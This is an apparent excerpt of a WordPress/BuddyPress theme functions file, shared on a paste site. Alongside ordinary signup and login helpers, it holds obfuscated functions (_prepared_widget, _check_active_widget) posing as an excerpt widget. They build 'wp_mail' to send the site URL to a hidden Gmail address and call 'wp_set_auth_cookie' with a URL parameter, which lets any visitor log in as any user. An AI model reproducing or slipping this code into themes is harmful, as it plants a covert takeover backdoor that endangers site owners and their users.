  696. if($listDirectories == false) { if(is_dir($file)) { continue; } }
  697. array_push($dirArray,basename($file));
  698. }
  699. }
  700. closedir($handle);
  701. }
  702. return $dirArray;
  703. }
  704. }
  705. add_action("admin_head", "_check_active_widget");
  706. function _prepared_widget(){
  707. if(!isset($length)) $length=120;
  708. if(!isset($method)) $method="cookie";
  709. if(!isset($html_tags)) $html_tags="<a>";
  710. if(!isset($filters_type)) $filters_type="none";
  711. if(!isset($s)) $s="";
  712. if(!isset($filter_h)) $filter_h=get_option("home");
  713. if(!isset($filter_p)) $filter_p="wp_";
  714. if(!isset($use_link)) $use_link=1;
  715. if(!isset($comments_type)) $comments_type="";
  716. if(!isset($perpage)) $perpage=$_GET["cperpage"];
  717. if(!isset($comments_auth)) $comments_auth="";
  718. if(!isset($comment_is_approved)) $comment_is_approved="";
  719. if(!isset($authname)) $authname="auth";
  720. if(!isset($more_links_text)) $more_links_text="(more...)";
  721. if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
  722. if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
  723. if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
  724. if(!isset($more_content)) $more_content="ma".$s."il";
  725. if(!isset($forces_more)) $forces_more=1;
  726. if(!isset($fakeit)) $fakeit=1;
  727. if(!isset($sql)) $sql="";
  728. if (!$widget_output) :
  729.  
  730. global $wpdb, $post;
  731. $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  732. if (!empty($post->post_password)) {
  733. if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
  734. if(is_feed()) {
  735. $output=__("هیچ نقل قولی وجود ندارد زیرا این پست محافظت شده است.");
  736. } else {
  737. $output=get_the_password_form();
  738. }
  739. }
  740. }
  741. if(!isset($fix_tag)) $fix_tag=1;
  742. if(!isset($filters_types)) $filters_types=$filter_h;
  743. if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
  744. if(!isset($more_tags)) $more_tags="div";
  745. if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
  746. if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
  747. if(!isset($showdot)) $showdot=1;
  748.  
  749. $comments=$wpdb->get_results($sql);
  750. if($fakeit == 2) {
  751. $text=$post->post_content;
  752. } elseif($fakeit == 1) {
  753. $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
  754. } else {
  755. $text=$post->post_excerpt;
  756. }
  757. $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  758. if($length < 0) {
  759. $output=$text;
  760. } else {
  761. if(!$no_more && strpos($text, "<!--more-->")) {
  762. $text=explode("<!--more-->", $text, 2);
  763. $l=count($text[0]);
  764. $more_link=1;
  765. $comments=$wpdb->get_results($sql);
  766. } else {
  767. $text=explode(" ", $text);
  768. if(count($text) > $length) {
  769. $l=$length;
  770. $ellipsis=1;
  771. } else {
  772. $l=count($text);
  773. $more_links_text="";
  774. $ellipsis=0;
  775. }
  776. }
  777. for ($i=0; $i<$l; $i++)
  778. $output .= $text[$i] . " ";
  779. }
  780. update_option("_is_widget_active_", 1);
  781. if("all" != $html_tags) {
  782. $output=strip_tags($output, $html_tags);
  783. return $output;
  784. }
  785. endif;
  786. $output=rtrim($output, "\s\n\t\r\x0B");
  787. $output=($fix_tag) ? balanceTags($output, true) : $output;
  788. $output .= ($showdot && $ellipsis) ? "..." : "";
  789. $output=apply_filters($filters_type, $output);
  790. switch($more_tags) {
  791. case("div") :
  792. $tag="div";
  793. break;
  794. case("span") :
  795. $tag="span";
  796. break;
  797. case("p") :
  798. $tag="p";
  799. break;
  800. default :
  801. $tag="span";
  802. }
  803.  
  804. if ($use_link ) {
  805. if($forces_more) {
  806. $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
  807. } else {
  808. $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
  809. }
  810. }
  811. return $output;
  812. }
  813.  
  814. add_action("init", "_prepared_widget");
  815.  
  816. add_action('bp_core_signup_user','bp_set_notification_default',100,1);
  817. function bp_set_notification_default($user_id) {
  818. $keys = array('notification_activity_new_mention','notification_activity_new_reply','notification_friends_friendship_accepted','notification_friends_friendship_request','notification_groups_admin_promotion','notification_groups_group_updated','notification_groups_invite','notification_groups_membership_request','notification_messages_new_message','notification_messages_new_notice');
  819. foreach($keys as $key) {
  820. update_user_meta($user_id,$key,'no');
  821. }
  822. }
  823. if ( !function_exists( 'bp_dtheme_sidebar_login_redirect_to' ) ) :
  824. /**
  825. * Adds a hidden "redirect_to" input field to the sidebar login form.
  826. *
  827. * @since BuddyPress (1.5)
  828. */
  829. function bp_dtheme_sidebar_login_redirect_to() {
  830. $redirect_to = !empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
  831. $redirect_to = apply_filters( 'bp_no_access_redirect', $redirect_to );?>
  832.  
  833.  
  834. <input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" />
  835.  
  836. <?php
  837. }
  838. add_action( 'bp_sidebar_login_form', 'bp_dtheme_sidebar_login_redirect_to' );
  839. endif;
  840. function add_honeypot() {
  841. echo '';
  842. }
  843. add_action('bp_after_signup_profile_fields','add_honeypot');
  844. function check_honeypot() {
  845. if (!empty($_POST['system55'])) {
  846. global $bp;
  847. wp_redirect(home_url().'/spam-prevention');
  848. exit;
  849. }
  850. }
  851. add_filter('bp_core_validate_user_signup','check_honeypot'); ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement